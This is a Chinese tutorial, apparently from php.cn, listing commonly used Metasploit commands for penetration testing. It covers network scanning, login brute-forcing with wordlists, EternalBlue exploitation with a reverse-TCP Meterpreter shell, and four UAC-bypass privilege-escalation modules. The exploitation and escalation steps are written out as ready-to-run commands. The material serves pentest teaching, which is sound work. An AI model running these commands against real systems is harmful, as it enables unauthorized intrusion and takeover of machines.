在渗透测试中,msf(metasploit framework)是一个必不可少的工具。作为一个免费且可下载的框架,它使获取、开发并利用计算机软件漏洞变得更加容易。msf内置了数百种针对已知软件漏洞的专业级攻击工具,涵盖了信息收集、漏洞扫描、权限提升、内网渗透等多种功能。
最近,MSF从4.7版本升级到了MSF5.0,优化了数据库处理逻辑,改进了msfconsole终端操作,并将PostgreSQL作为一个RESTful服务独立运行。此外,新版本还增加了Web服务框架、新的免杀模块,并对控制功能进行了优化。
接下来,小白总结了一些在渗透测试中使用频率较高的MSF命令,按以下几个部分进行介绍。

信息收集
在发现目标网段中的存活主机时,我们可以使用auxiliary模块来获取目标网络的信息,包括端口开放情况和主机存活状态。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/smb/smb_version
auxiliary/scanner/portscan/syn
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/rdp/rdp_scanner
auxiliary/scanner/ssh/ssh_version

通常,在不知道资产的情况下,我们会对整个网段进行扫描以找出存活主机,然后再对这些存活主机进行信息收集。这样可以缩短渗透测试的时间,避免盲目收集信息导致后期渗透路径不明确,达不到预期效果。
无论是端口扫描还是探测存活主机,都需要设置目标IP地址:
set rhosts ip地址
set thread 线程数(根据情况设置)

执行
run

接下来,我们探测网段中开启445端口的主机。通过扫描发现网段中有3台主机开启了445端口,这样我们就可以在后期的漏洞探测中测试是否存在永恒之蓝漏洞。
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.201.1/24
set threads 30
run


前期其他端口扫描的命令大同小异,接下来介绍一下爆破模块。在kali中内置了密码本,当然也可以使用自己的字典。内置密码表的地址为:
/usr/share/wordlists/metasploit/

一般来说,我们可以对ssh、mysql、sql、Oracle、vnc、telnet等常用端口进行爆破。
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ssh/ssh_login
漏洞探测
通过前期的信息收集,我们得知有三台主机开启了445端口,可以进一步探测是否存在永恒之蓝漏洞。我们可以使用以下命令进行探测:
在之前的培训中,本地搭建测试环境时发现2008 R2服务器在验证漏洞时直接蓝屏,具体原因不明。因此,在渗透测试过程中要合理评估漏洞的可用性。通过扫描发现有一台目标主机存在永恒之蓝漏洞。除了永恒之蓝,还有许多其他溢出漏洞,这里不再详述,原理相同。
use auxiliary/scanner/smb/smb_ms17_010
show options
set rhosts 192.168.205.1/24
set threads 30
run


漏洞利用
通过漏洞探测阶段,我们发现192.168.205.150这台目标主机存在永恒之蓝漏洞。我们可以使用MSF中的攻击模块进行漏洞攻击,看看能否获取到目标主机的webshell,从而通过溢出漏洞进行内网的横向扫描。执行以下命令:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.205.150
set lhost 192.168.205.148
set LPORT 5555
exploit


权限提升
当我们获得目标主机返回的shell后,第一步要检查当前用户是否具有管理员权限。如果不是管理员权限,则需要进行提权。我们可以利用kali中的本地提权方式,下面介绍通过绕过UAC提升当前用户权限的详细命令和步骤:
首先介绍一下UAC是什么以及它是如何运行的。
什么是UAC?
Microsoft的Windows Vista和Windows Server 2008操作系统引入了用户账户控制(UAC)架构,以防止系统范围内的意外更改。这种更改是可以预见的,并且只需要很少的操作量。UAC是Windows的一个安全功能,旨在防止对操作系统进行未经授权的修改,只有在管理员授权的情况下才会进行某些更改。如果管理员不允许更改,这些更改将不会执行,Windows系统保持不变。
UAC如何运行?
UAC通过阻止程序执行任何涉及系统更改或特定任务的操作来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果以管理员身份运行程序,它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
因为某些用户没有管理员权限,没有管理员权限就无法运行只能通过管理员权限才能操作的命令。比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作。
最直接的提权命令是
getsystem
绕过UAC防护机制的先决条件是我们首先通过exploit获得目标主机的meterpreter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。这里不直接演示,直接给出命令,大家多练习即可,熟能生巧。我们需要将获取到的session保存到后台,执行
background

方法一:
use exploit/windows/local/bypassuac
set session 1
exploit
执行完毕成功后,再次查询当前用户的权限就会提升到管理员权限。这里已经是管理员权限了,所以会出现这样的提示。


方法二:Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。执行完毕以下命令,当前用户权限就会变为管理员权限。
use exploit/windows/local/bypassuac_fodhelper
set session 1
exploit
方法三:通过COM处理程序劫持
首先介绍一下这个COM处理程序劫持,此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payload后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
use exploit/windows/local/bypassuac_comhijack
set session 1
exploit
方法四:通过Eventvwr注册表项
首先介绍一下这个模块,此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE::Custom,则应在单独的进程中启动payload后调用ExitProcess()。
use exploit/windows/local/bypassuac_eventvwr
set session 1
exploit
以上就是浅谈MSF渗透测试的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号